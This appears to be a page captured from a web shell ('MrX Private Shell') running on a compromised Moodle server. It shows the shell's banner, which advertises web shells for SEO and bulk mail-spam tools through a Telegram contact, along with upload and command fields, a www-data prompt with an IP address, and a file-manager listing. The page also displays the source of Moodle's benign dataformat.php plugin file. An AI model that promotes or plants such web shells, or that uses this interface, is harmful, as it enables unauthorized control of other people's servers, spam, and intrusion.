__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.148: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * Defines classes used for plugin info.
 *
 * @license    http://www.gnu.org/copyleft/gpl.html GNU Public License
 * @copyright  2016 Brendan Heywood (brendan@catalyst-au.net)
 * @package    core
 */
namespace core\plugininfo;

use admin_settingpage;
use core_plugin_manager;
use moodle_url;
use part_of_admin_tree;

/**
 * Class for dataformats
 *
 * @package    core
 * @license    http://www.gnu.org/copyleft/gpl.html GNU Public License
 * @copyright  2016 Brendan Heywood (brendan@catalyst-au.net)
 */
class dataformat extends base {

    public static function plugintype_supports_disabling(): bool {
        return true;
    }

    /**
     * Display name
     */
    public function init_display_name() {
        if (!get_string_manager()->string_exists('dataformat', $this->component)) {
            $this->displayname = '[dataformat,' . $this->component . ']';
        } else {
            $this->displayname = get_string('dataformat', $this->component);
        }
    }

    /**
     * Given a list of dataformat types, return them sorted according to site configuration (if set)
     *
     * @param string[] $formats List of formats, ['csv', 'pdf', etc]
     * @return string[] List of formats according to configured sort, ['csv', 'odf', etc]
     */
    private static function get_plugins_sortorder(array $formats): array {
        global $CFG;

        if (!empty($CFG->dataformat_plugins_sortorder)) {
            $order = explode(',', $CFG->dataformat_plugins_sortorder);
            $order = array_merge(array_intersect($order, $formats), array_diff($formats, $order));
        } else {
            $order = $formats;
        }

        return $order;
    }

    /**
     * Gathers and returns the information about all plugins of the given type
     *
     * @param string $type the name of the plugintype, eg. mod, auth or workshopform
     * @param string $typerootdir full path to the location of the plugin dir
     * @param string $typeclass the name of the actually called class
     * @param core_plugin_manager $pluginman the plugin manager calling this method
     * @return array of plugintype classes, indexed by the plugin name
     */
    public static function get_plugins($type, $typerootdir, $typeclass, $pluginman) {
        $formats = parent::get_plugins($type, $typerootdir, $typeclass, $pluginman);

        $order = static::get_plugins_sortorder(array_keys($formats));
        $sortedformats = array();
        foreach ($order as $formatname) {
            $sortedformats[$formatname] = $formats[$formatname];
        }
        return $sortedformats;
    }

    /**
     * Finds all enabled plugins, the result may include missing plugins.
     * @return array|null of enabled plugins $pluginname=>$pluginname, null means unknown
     */
    public static function get_enabled_plugins() {
        $plugins = core_plugin_manager::instance()->get_installed_plugins('dataformat');
        if (!$plugins) {
            return array();
        }

        $order = static::get_plugins_sortorder(array_keys($plugins));
        $enabled = array();
        foreach ($order as $formatname) {
            $disabled = get_config('dataformat_' . $formatname, 'disabled');
            if (empty($disabled)) {
                $enabled[$formatname] = $formatname;
            }
        }
        return $enabled;
    }

    public static function enable_plugin(string $pluginname, int $enabled): bool {
        $haschanged = false;

        $plugin = 'dataformat_' . $pluginname;
        $oldvalue = get_config($plugin, 'disabled');
        $disabled = !$enabled;
        // Only set value if there is no config setting or if the value is different from the previous one.
        if ($oldvalue == false && $disabled) {
            set_config('disabled', $disabled, $plugin);
            $haschanged = true;
        } else if ($oldvalue != false && !$disabled) {
            unset_config('disabled', $plugin);
            $haschanged = true;
        }

        if ($haschanged) {
            add_to_config_log('disabled', $oldvalue, $disabled, $plugin);
            \core_plugin_manager::reset_caches();
        }

        return $haschanged;
    }

    /**
     * Returns the node name used in admin settings menu for this plugin settings (if applicable)
     *
     * @return null|string node name or null if plugin does not create settings node (default)
     */
    public function get_settings_section_name() {
        return 'dataformatsetting' . $this->name;
    }

    /**
     * Loads plugin settings to the settings tree
     *
     * This function usually includes settings.php file in plugins folder.
     * Alternatively it can create a link to some settings page (instance of admin_externalpage)
     *
     * @param \part_of_admin_tree $adminroot
     * @param string $parentnodename
     * @param bool $hassiteconfig whether the current user has moodle/site:config capability
     */
    public function load_settings(part_of_admin_tree $adminroot, $parentnodename, $hassiteconfig) {
        global $CFG, $USER, $DB, $OUTPUT, $PAGE; // In case settings.php wants to refer to them.
        /** @var \admin_root $ADMIN */
        $ADMIN = $adminroot; // May be used in settings.php.
        $plugininfo = $this; // Also can be used inside settings.php.
        $dataformat = $this;     // Also can be used inside settings.php.

        if (!$this->is_installed_and_upgraded()) {
            return;
        }

        if (!$hassiteconfig) {
            return;
        }
        if (file_exists($this->full_path('settings.php'))) {
            $fullpath = $this->full_path('settings.php');
        } else if (file_exists($this->full_path('dataformatsettings.php'))) {
            $fullpath = $this->full_path('dataformatsettings.php');
        } else {
            return;
        }

        $section = $this->get_settings_section_name();
        $settings = new admin_settingpage($section, $this->displayname, 'moodle/site:config', $this->is_enabled() === false);
        include($fullpath); // This may also set $settings to null.

        if ($settings) {
            $ADMIN->add($parentnodename, $settings);
        }
    }

    /**
     * dataformats can be uninstalled
     *
     * @return bool
     */
    public function is_uninstall_allowed() {
        return true;
    }

    /**
     * Return URL used for management of plugins of this type.
     * @return moodle_url
     */
    public static function get_manage_url() {
        return new moodle_url('/admin/settings.php?section=managedataformats');
    }

}

Filemanager

Name Type Size Permission Actions
aiplacement.php File 6.33 KB 0644
aiprovider.php File 7.62 KB 0644
antivirus.php File 5.41 KB 0644
auth.php File 5.48 KB 0644
availability.php File 5.48 KB 0644
base.php File 24.47 KB 0644
block.php File 6.35 KB 0644
cachelock.php File 1.08 KB 0644
cachestore.php File 1.28 KB 0644
calendartype.php File 2.69 KB 0644
communication.php File 4.7 KB 0644
contenttype.php File 7.67 KB 0644
coursereport.php File 1.08 KB 0644
customfield.php File 5.04 KB 0644
dataformat.php File 7.09 KB 0644
editor.php File 6.72 KB 0644
enrol.php File 6.5 KB 0644
fileconverter.php File 6.27 KB 0644
filter.php File 6.45 KB 0644
format.php File 7.01 KB 0644
general.php File 1.11 KB 0644
gradeexport.php File 1.08 KB 0644
gradeimport.php File 1.08 KB 0644
gradereport.php File 1.08 KB 0644
gradingform.php File 2.29 KB 0644
h5plib.php File 2.63 KB 0644
local.php File 2.24 KB 0644
media.php File 9.26 KB 0644
message.php File 4.29 KB 0644
mlbackend.php File 2.87 KB 0644
mnetservice.php File 1.25 KB 0644
mod.php File 9.7 KB 0644
orphaned.php File 2.82 KB 0644
paygw.php File 5.22 KB 0644
plagiarism.php File 2.15 KB 0644
portfolio.php File 4.57 KB 0644
profilefield.php File 1.39 KB 0644
qbank.php File 5.65 KB 0644
qbehaviour.php File 4.71 KB 0644
qformat.php File 1.07 KB 0644
qtype.php File 5.3 KB 0644
report.php File 1.3 KB 0644
repository.php File 6.82 KB 0644
search.php File 1.56 KB 0644
smsgateway.php File 2.94 KB 0644
theme.php File 2.88 KB 0644
tool.php File 2.56 KB 0644
webservice.php File 4.08 KB 0644
Filemanager